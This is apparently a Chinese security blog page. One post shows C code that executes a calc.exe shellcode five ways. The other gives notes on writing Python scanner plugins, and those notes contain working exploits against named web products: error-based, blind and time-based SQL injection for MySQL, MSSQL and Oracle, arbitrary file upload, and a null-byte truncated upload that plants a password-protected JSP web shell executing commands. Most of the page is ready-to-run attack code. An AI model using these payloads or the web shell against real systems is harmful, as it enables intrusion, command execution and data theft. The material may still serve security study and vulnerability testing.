几种用C语言来执行shellcode(其实也就是机器码)的方式

发布时间:June 5, 2015 // 分类:开发笔记,VC/C/C++,代码学习,windows // No Comments

/*   
 *  作者: 冷却   
 *  时间: 2009年2月21日   
 *  E-mail: leng_que@yahoo.com.cn   
 *  描述: 演示几种用C语言来执行shellcode(其实也就是机器码)的方式 
 *  备注:在WindowsXP SP3下测试成功 
 */  
  
//一段打开Windows计算器(calc.exe)的shellcode  
unsigned char shellcode[] =  
"/xb8/x82/x0a/x8d/x38/xd9/xc6/xd9/x74/x24/xf4/x5a/x29/xc9/xb1/x23"  
"/x31/x42/x12/x83/xea/xfc/x03/xc0/x04/x6f/xcd/x38/xf0/x2b/x2e/xc0"  
"/x01/x3f/x6b/xfc/x8a/x43/x71/x84/x8d/x54/xf2/x3b/x96/x21/x5a/xe3"  
"/xa7/xde/x2c/x68/x93/xab/xae/x80/xed/x6b/x29/xf0/x8a/xac/x3e/x0f"  
"/x52/xe6/xb2/x0e/x96/x1c/x38/x2b/x42/xc7/xc5/x3e/x8f/x8c/x99/xe4"  
"/x4e/x78/x43/x6f/x5c/x35/x07/x30/x41/xc8/xfc/x45/x65/x41/x03/xb2"  
"/x1f/x09/x20/x40/xe3/x83/xe8/x2c/x68/xa3/xd8/x29/xae/x5c/x15/xba"  
"/x6f/x91/xae/xcc/x73/x04/x3b/x44/x84/xbd/x35/x1f/x14/xf1/x46/x1f"  
"/x15/x79/x2e/x23/x4a/x4c/x59/x3b/x22/x27/x5d/x38/x0a/x4c/xce/x56"  
"/xf5/x6b/x0c/xd5/x61/x14/x2f/x93/x7c/x73/x2f/x44/xe3/x1a/xa3/xe9"  
"/xe4";  
  
//第一种执行方式  
void exe_1()  
{  
    void (*code)(void);  
    code = (void*)shellcode;  
    code();  
}  
  
//第二种执行方式  
void exe_2()  
{  
    ( (void (*)(void))shellcode )();  
}  
  
//第三种执行方式  
void exe_3()  
{  
    __asm  
    {  
        lea eax,shellcode;  
        jmp eax;  
    }  
}  
  
//第四种执行方式  
void exe_4()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        jmp eax;  
    }  
}  
  
//第五种执行方式  
void exe_5()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        _emit 0xFF;  
        _emit 0xE0;  
    }  
}  
  
//主函数入口  
void main()  
{  
    exe_5();  
} 

 

/* 
 *  作者: 冷却 
 *  时间: 2009年2月21日 
 *  E-mail: leng_que@yahoo.com.cn 
 *  描述: 演示三种用C语言来执行机器码的方式 
 */  
  
#include <stdio.h>  
  
//一段机器码,功能为:对传入的整型参数进行加一操作,然后返回结果。  
unsigned char machineCode[] =  
"/xe9/x07/x00/x00/x00/xcc/xcc/xcc/xcc/xcc/xcc/xcc/x55/x8b/xec/x83/xec/x40/x53/x56"  
"/x57/x8d/x7d/xc0/xb9/x10/x00/x00/x00/xb8/xcc/xcc/xcc/xcc/xf3/xab/x8b/x45/x08/x83"  
"/xc0/x01/x5f/x5e/x5b/x8b/xe5/x5d/xc3";  
  
//第一种执行方式  
void exe_1()  
{  
    int result;  
      
    result = ( (int (*)(int))machineCode )(7);  
      
    printf("%d/r/n",result);  
}  
  
//第二种执行方式  
void exe_2()  
{  
    int result;  
      
    int (*Fun)(int);  
    Fun = (void*)machineCode;  
      
    result = Fun(7);  
      
    printf("%d/r/n",result);  
}  
  
//第三种执行方式  
void exe_3()  
{  
    int result;  
      
    typedef int(*Fun)(int);  
    Fun p=NULL;  
      
    p = (Fun)machineCode;  
      
    result = p(7);  
      
    printf("%d/r/n",result);  
}  
  
//主函数入口  
void main()  
{  
    exe_1();  
    exe_2();  
    exe_3();  
} 

关于tangscan插件写法的注意点

发布时间:June 1, 2015 // 分类:工作日志,开发笔记,代码学习,python,生活琐事 // No Comments

因为目前全局使用的是requests库,所以基本的使用方法和requests基本的是差不多的.这记录几点.

1.post的.遇到的几个坑,比如忘记带上headers了,怎么post也不行。比如单引号忘记转移了。

'需要转移为\\' 然后再进行post。

类似这样子

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
        'content-type': 'application/x-www-form-urlencoded',}
url = "http://www.0day5.com:8000/logincheck.php"
data= "PASSWORD=g00dPa$$w0rD&submit=%b5%c7%20%c2%bc&UI=0&UNAME=%bf\\' AND (SELECT 7140 FROM(SELECT COUNT(*),CONCAT(0x7e7e7e,(SELECT user()),0x7e7e7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#"
res =requests.post(url,data=data,headers=headers)
print res.content

尝试过,缺少了headers或者是'不转移都是失败了.但是测试了有些payload里面没有单引号的直接post就过了

2.requests的上传..

找了一些,发现略坑,这里说一下自己的办法。因为post的所以这里带上了headers,其实主要的是

"Content-Type": "multipart/form-data

然后自己的全部就构造一个post包就可以了。这里也是抓了一个任意上传的来简单的说说.

一个完整的上传包是这样子的

POST /general/vmeet/wbUpload.php?fileName=wooyun.php+ HTTP/1.0
Host: www.0day5:8000
Content-Length: 194
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4

------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif

wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--

然后我们截取http头部的基本信息,然后把body部分的拿出来,

------WebKitFormBoundaryINwvNFV19i1MtO9F
Content-Disposition: form-data; name="Filedata"; filename="cmd.gif"
Content-Type: image/gif

wooyuntest
------WebKitFormBoundaryINwvNFV19i1MtO9F--

然后把 " 用\" 来替换,再使用\\r\\n对\r\n进行替换。body部分就是这样子了。

------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n

那么完整的就是这样子了...

#! /usr/bin/env python
# -*- coding: utf-8 -*-

import requests,random
header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
            "Accept-Encoding": "gzip, deflate","Cookie": "PHPSESSID=bbb1216cd5bfef19bc1a9fee5db4f3e4"}
rand_num = random.randint(10000,99999)
file_name = "wooyun_2015_"+bytes(rand_num)+".php+"
payload = "/general/vmeet/wbUpload.php?fileName="+file_name
url = "http://www.0day5.com"+payload
data="------WebKitFormBoundaryINwvNFV19i1MtO9F\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"cmd.gif\"\r\nContent-Type: image/gif\r\n\r\nwooyuntest\r\n------WebKitFormBoundaryINwvNFV19i1MtO9F--\r\n\r\n"
res = requests.post(url,data=data,header=header)
print res.headers

遇到上传截断的怎么破.

我们熟知的使用%00来对上传包进行截断。可是再python里面怎么上传这个阶段包呢.---使用\x00进行截断就好了

    def verify(self):
        self.print_debug("verify start")
        header = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryINwvNFV19i1MtO9F",
                    "Accept-Encoding": "gzip, deflate",
                    "Cookie": "JSESSIONID=ZFqdWFRbzylkhqQYpQCySQMVfnp9sKLVCv2j4k4kQvcY7kHZlFQy!-235610040"}
        rand_num = random.randint(10000,99999)
        file_name = "0day5test"+bytes(rand_num)+".jsp"
        exp_url = ("{domain}/defaultroot/dragpage/upload.jsp".format(domain=self.option.url))
        files="------WebKitFormBoundaryWeQFHZnK6c6SAk9Q\r\nContent-Disposition: form-data; name=\"NewFile\"; filename=\""+file_name+"\x00.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<%\r\n    if(\"023\".equals(request.getParameter(\"pwd\"))){\r\n        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream();\r\n        int a = -1;\r\n        byte[] b = new byte[2048];\r\n        out.print(\"<pre>\");\r\n        while((a=in.read(b))!=-1){\r\n            out.println(new String(b));\r\n        }\r\n        out.print(\"</pre>\");\r\n    }\r\n%>0day5\r\n------WebKitFormBoundaryWeQFHZnK6c6SAk9Q--\r\n"
        #截断使用 \x00
        try:
            response = requests.post(exp_url, data=files, headers=header,timeout=15, verify=False)
            #print response.content
        except Exception, e:
            self.result.error = str(e)
            return
        arg = ("{domain}/defaultroot/upload/customdesktop/".format(domain=self.option.url))
        url2 = arg + file_name
        requests1 = requests.get(url2)
        if "0day5" in requests1.content:
            self.result.status = True
            self.result.description = "目标存在任意文件上传, shell地址"+url2.format(
            url=self.option.url,
        )

盲注,盲注需要出数据的

1.mysql 延时注入

    def verify(self):
        uri = "/Customize/Audit/MessageMonitor/mutilSearch.php?id=1;"
        url = self.option.url.rstrip('/') + uri
        timeout = 3
        delay_sql = "(SELECT * FROM (SELECT(SLEEP({timeout})))CNfW)%23"
        delay_url = url + delay_sql

        # 设置注入获取的数据库版本信息的最大长度
        MAX_DB_VERSION_LEN = 48
        #;(SELECT * FROM (SELECT(SLEEP(5-(IF([INFERENCE],0,5)))))123)#
        db_version_len_payload =  "(SELECT * FROM (SELECT(SLEEP(3-(IF((select LENGTH(VERSION()))>{value},0,3)))))a)%23" 
        db_version_len_url = url + db_version_len_payload

        db_version_info_payload = "(SELECT * FROM (SELECT(SLEEP(3-(IF( ASCII( (SELECT SUBSTR(version(),{index},1) FROM (SELECT 1)x LIMIT 0,1) )>{value},0,3)))))a)%23"
        db_version_info_url = url + db_version_info_payload

        # 1.测试SQL延迟注入
        start = time.time()
        try:
            url = delay_url.format(timeout=timeout)
            response = requests.get(url=url, timeout=60, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
        end = time.time()
        delay = end - start             # 时间延时阀值
        self.print_debug("delay = {0}".format(delay))
        if (end-start)<timeout:
            self.result.status = False
            return

        # 2.获取数据库版本信息长度(二分法)
        db_version_len = 0
        l = 0
        r = 100
        while l <= r:
            m = (l+r)/2
            start = time.time()
            url = db_version_len_url.format(value=m)
            self.print_debug("url = {0}".format(url))
            try:
                response = requests.get(url=url, timeout=60, verify=False)
            except Exception, e:
                pass
            end = time.time()
            self.print_debug("time = {0}".format(end-start))
            if (end-start)<timeout:
                r = m - 1
            else:
                l = m + 1
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        # 3.获取数据库版本信息(二分法)
        db_version = ''
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                url = db_version_info_url.format(index=i, value=m)
                self.print_debug("url = {0}".format(url))
                try:
                    response = requests.get(url=url, timeout=60, verify=False)
                except Exception, e:
                    pass
                end = time.time()
                self.print_debug("delay = {0}".format(end-start))
                if (end-start)<timeout:
                    r = m - 1
                else:
                    l = m + 1
            if l >= r and l<=256:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version_len<=0 or len(db_version)<=0:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

mysql 盲注

    def verify(self):
        uri = "/Accountcenter/accountmiddle"
        url = self.option.url.rstrip('/') + uri
        form    = "phone=1"
        headers = {
             "Content-Type": "application/x-www-form-urlencoded",
        }
        payload_0 = "' RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        exp_url_0 = form + payload_0
        payload_1 = "' RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        exp_url_1 = form + payload_1
     
        MAX_DB_VERSION_LEN      = 48
        db_version_len_payload  = "'RLIKE (SELECT (CASE WHEN ((select LENGTH((concat(user(),0x3a,version(),0x3a,database()))))>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        db_version_len_form     = form + db_version_len_payload
        db_version_info_payload = "'RLIKE (SELECT (CASE WHEN (ASCII( (SELECT SUBSTR((concat(user(),0x3a,version(),0x3a,database())),{index},1)) )>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        db_version_info_form    = form + db_version_info_payload
     
        # 1.测试SQL盲注
        content_len_checker = 0
        try:
            response0 = requests.post(url, data=form, headers=headers, timeout=60, verify=False)
            response1 = requests.post(url, data=exp_url_0, headers=headers, timeout=60, verify=False)
            response2 = requests.post(url, data=exp_url_1, headers=headers, timeout=60, verify=False)
            content_len = len(response0.content)
            content_len_0 = len(response1.content)
            content_len_1 = len(response2.content)
            if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        content_len_checker  = content_len_0
        self.print_debug("content_len_checker = {0}".format(content_len_checker))
        # 2.获取数据库版本信息长度(二分法)
        # 2.获取数据库版本信息长度(二分法)
        db_version_len = 0
        l = 0
        r = 50
        while l <= r:
            m = (l+r)/2
            version_len = db_version_len_form.format(value=m)
            try:
                response = requests.post(url, data=version_len, headers=headers, timeout=60, verify=False)
                #self.print_debug("{payload}  {len}".format(payload=version_len,len=len(response.content)))
                if len(response.content)<content_len_checker:
                    r = m - 1
                else:
                    l = m + 1
            except Exception, e:
                pass
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        # 3.获取数据库版本信息(二分法)
        db_version = ''
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                version_info = db_version_info_form.format(index=i, value=m)
                try:
                    response = requests.post(url, data=version_info, headers=headers, timeout=60, verify=False)
                    if len(response.content)<content_len_checker:
                        r = m - 1
                    else:
                        l = m + 1
                except Exception, e:
                    pass
            if l >= r and l<=256:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version_len<=0 or len(db_version)<=0:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

2.mssql 盲注

    def verify(self):
        uri = "/c6/Jhsoft.Web.login/NewView.aspx?ID=12"
        url = "{domain}{uri}".format(domain=self.option.url.rstrip('/'), uri = uri)
        # 设置注入获取的数据库版本信息的最大长度
        MAX_DB_VERSION_LEN = 25
        db_version_len_payload = " AND 1=2 OR (len((select @@VERSION)))>{value} AND 1=1--"
        db_version_len_url = (url + db_version_len_payload).replace(" ", "/**/")
        db_version_info_payload = " AND 1=2 OR (ascii(substring(@@version,{index},1)))>{value} AND 1=1--"
        db_version_info_url = (url + db_version_info_payload).replace(" ", "/**/")
        # 测试盲注的payload
        payload_0 = " AND 1=2 OR 1=2 AND 1=1--"
        exp_url_0 = (url + payload_0).replace(" ", "/**/")
        payload_1 = " AND 1=2 OR 1=1 AND 1=1--"
        exp_url_1 = (url + payload_1).replace(" ", "/**/")
        # 1.测试MSSQ盲注
        content_len_checker = 0
        try:
            response = requests.get(url=url, timeout=15, verify=False)
            response_0 = requests.get(url=exp_url_0, timeout=15, verify=False)
            response_1 = requests.get(url=exp_url_1, timeout=15, verify=False)
            content_len = len(response.content)
            content_len_0 = len(response_0.content)
            content_len_1 = len(response_1.content)
            if (content_len_0 == content_len_1) or \
               ((content_len <= content_len_0) and (content_len >= content_len_1)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error = str(e)
            self.result.status = False
            return

        content_len_checker  = content_len_1

        # 2.获取数据库版本信息长度
        l = 0
        r = 500
        while l <= r:
            m = (l+r)/2
            url = db_version_len_url.format(value=m)
            try:
                response = requests.get(url=url, timeout=15, verify=False)
                if len(response.content)<content_len_checker:
                    r = m - 1
                else:
                    l = m + 1
            except Exception, e:
                pass
        if l >= r:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))

        # 3.获取数据库版本信息
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        db_version=''
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                url = db_version_info_url.format(index=i, value=m)
                try:
                    response = requests.get(url=url, timeout=15, verify=False)
                    if len(response.content)<content_len_checker:
                        r = m - 1
                    else:
                        l = m + 1
                except Exception, e:
                    pass
            if l >= r:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version.find('Micro')==-1:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

MSSQL 延时注入


        url = "{domain}/kingdee/login/addmsg.jsp?receiveid=all&user_id=1".format(domain=self.option.url.rstrip('/'))

        timeout = 4
        payload = ";waitfor delay '0:0:{timeout}'--"
        exp_url = url + payload

        MAX_DB_VERSION_LEN      = 26
        db_version_len_payload  = ";if(len((select @@VERSION)))>{value} waitfor delay '0:0:{timeout}'--"
        db_version_len_url      = url + db_version_len_payload
        db_version_info_payload = ";if(ascii(substring(@@version,{index},1)))>{value} waitfor delay '0:0:{timeout}'--"
        db_version_info_url     =  url + db_version_info_payload

        # 1.测试SQL延迟注入
        start = time.time()
        url = exp_url.format(timeout=timeout)
        try:
            response = requests.get(url=url, timeout=60, verify=False)
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        end = time.time()
        if int(end-start)<timeout:
            self.result.status = False
            return

        # 2.获取数据库版本信息长度
        db_version_len = 0
        l = 0
        r = 500
        while l <= r:
            m = (l+r)/2
            start = time.time()
            url = db_version_len_url.format(value=m, timeout=timeout)
            self.print_debug(url)
            try:
                response = requests.get(url=url, timeout=60, verify=False)
            except Exception, e:
                pass
            end = time.time()
            if int(end-start)<timeout:
                r = m - 1
            else:
                l = m + 1
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        
        # 3.获取数据库版本信息
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        db_version = ''
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                url = db_version_info_url.format(index=i, value=m, timeout=timeout)
                self.print_debug(url)
                try:
                    response = requests.get(url=url, timeout=60, verify=False)
                except Exception, e:
                    pass
                end = time.time()
                if int(end-start)<timeout:
                    r = m - 1
                else:
                    l = m + 1
            if l >= r and l<=256:
                if l>=32 and l<=126:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version.find('Micro') == -1:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

oracle 盲注[没有找到合适的测量数据库长度的,采取暴力注入]

    def verify(self):
        exp_url = "{domain}/login/../weaver/weaver.docs.docs.ShowDocsImageServlet?docId=10000".format(domain=self.option.url.rstrip('/'))
        headers = {'Content-Type': 'multipart/form-data',
                   'Referer': exp_url
                   }
        payload0 = " AND 6925=6925"
        payload1 = " AND 6925=6926"
        db_verpay = " AND ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}"
        # 1.测试SQL延迟注入
        content_len_checker = 0
        try:
            response0 = requests.get(exp_url, headers=headers, timeout=60, verify=False)
            response1 = requests.get(exp_url+payload0, headers=headers, timeout=60, verify=False)
            response2 = requests.get(exp_url+payload1, headers=headers, timeout=60, verify=False)
            content_len = len(response0.content)
            content_len_0 = len(response1.content)
            content_len_1 = len(response2.content)
            self.print_debug("normal "+str(content_len))
            self.print_debug("AND 1=1 "+str(content_len_0))
            self.print_debug("AND 1=2 "+str(content_len_1))
            if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        content_len_checker  = content_len_1
        #暴力取值
        db_version = ''
        payloads = ['.', ' ', '-','@','_']
        payloads += list(string.ascii_lowercase)
        payloads += list(string.ascii_uppercase)
        for i in range(0,10):
            payloads.append(str(i))
        #self.print_debug(payloads)
        for i in range(1,65,1):
            for payload in payloads:
                db_date = db_verpay.format(index=i,value=ord(payload))
                try:
                    response = requests.get(exp_url+db_date,headers=headers ,timeout=60, verify=False)
                except Exception, e:
                    self.result.error  = str(e)
                    self.result.status = False
                    return
                if len(response.content)>content_len_checker:
                    db_version += payload
                    self.print_debug(db_version)

        if db_version.find('Oracle') == -1:
            self.result.status = False
            return

        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
            url=self.option.url,
            db_version=db_version,
            exp_url = exp_url,
            data = date,
        )

oracle 基于时间盲注[长度测量不生效,直接暴力注入]

    def oracle(self):
        exp_url = "{domain}/defaultroot/evo/ipad/loading.jsp".format(domain=self.option.url.rstrip('/'))
        headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
                   'Cookie': 'JSESSIONID=p5FhWpJF621JvJs1pmyMG4PGDyjJK5Y1BwmqsVfyWmH1p4y18fJX!-225297091',
                   'Referer': exp_url
                   }
        timeout = 3
        payload = "' AND 123=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(114)||CHR(101)||CHR(98),{timeout}) AND 'EDGD'='EDGD"
        data = "userPassword=CasterJs&isRemember=CasterJs&userName=CasterJs"
        date = data + payload
        db_verpay = "' AND 123=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(82)||CHR(101)||CHR(90)||CHR(76),{timeout}) ELSE 123 END) AND 'FHVS'='FHVS"
        db_data = data + db_verpay
        # 1.测试SQL延迟注入
        start = time.time()
        date = date.format(timeout=timeout)
        #self.print_debug(date)
        try:
            response = requests.post(exp_url,data=date,headers=headers ,timeout=60, verify=False)
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        end = time.time()
        self.print_debug("time = {0}".format(end-start))
        if int(end-start)<timeout:
            self.result.status = False
            return

        #暴力取值
        db_version = ''
        payloads = ['.', ' ', '-','@','_']
        payloads += list(string.ascii_lowercase)
        payloads += list(string.ascii_uppercase)
        for i in range(0,10):
            payloads.append(str(i))
        #self.print_debug(payloads)
        for i in range(1,65,1):
            for payload in payloads:
                start = time.time()
                db_date = db_data.format(index=i,value=ord(payload),timeout=timeout)
                try:
                    response = requests.post(exp_url,data=db_date,headers=headers ,timeout=60, verify=False)
                except Exception, e:
                    self.result.error  = str(e)
                    self.result.status = False
                    return
                end = time.time()
                if int(end-start)>timeout or int(end-start)==timeout:
                    db_version += payload
                    self.print_debug(db_version)

        if db_version.find('Oracle') == -1:
            self.result.status = False
            return

        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
            url=self.option.url,
            db_version=db_version,
            exp_url = exp_url,
            data = date,
        )

 

分类
最新文章
最近回复
  • 没穿底裤: 在wvs里面设置代理
  • M: 请教一下,博主是怎么让wvs通过wyproxy代理来扫描?我将安装了wvs11的机子intel...
  • mr.tcsy: 给大佬地插
  • 没穿底裤: 直接在hosts里面.激活的时候访问不到正确的地址
  • Sfish: 屏蔽更新是在控制台设置一下就可以了,还是说要在其他层面做一下限制,比如配置一下hosts让他升...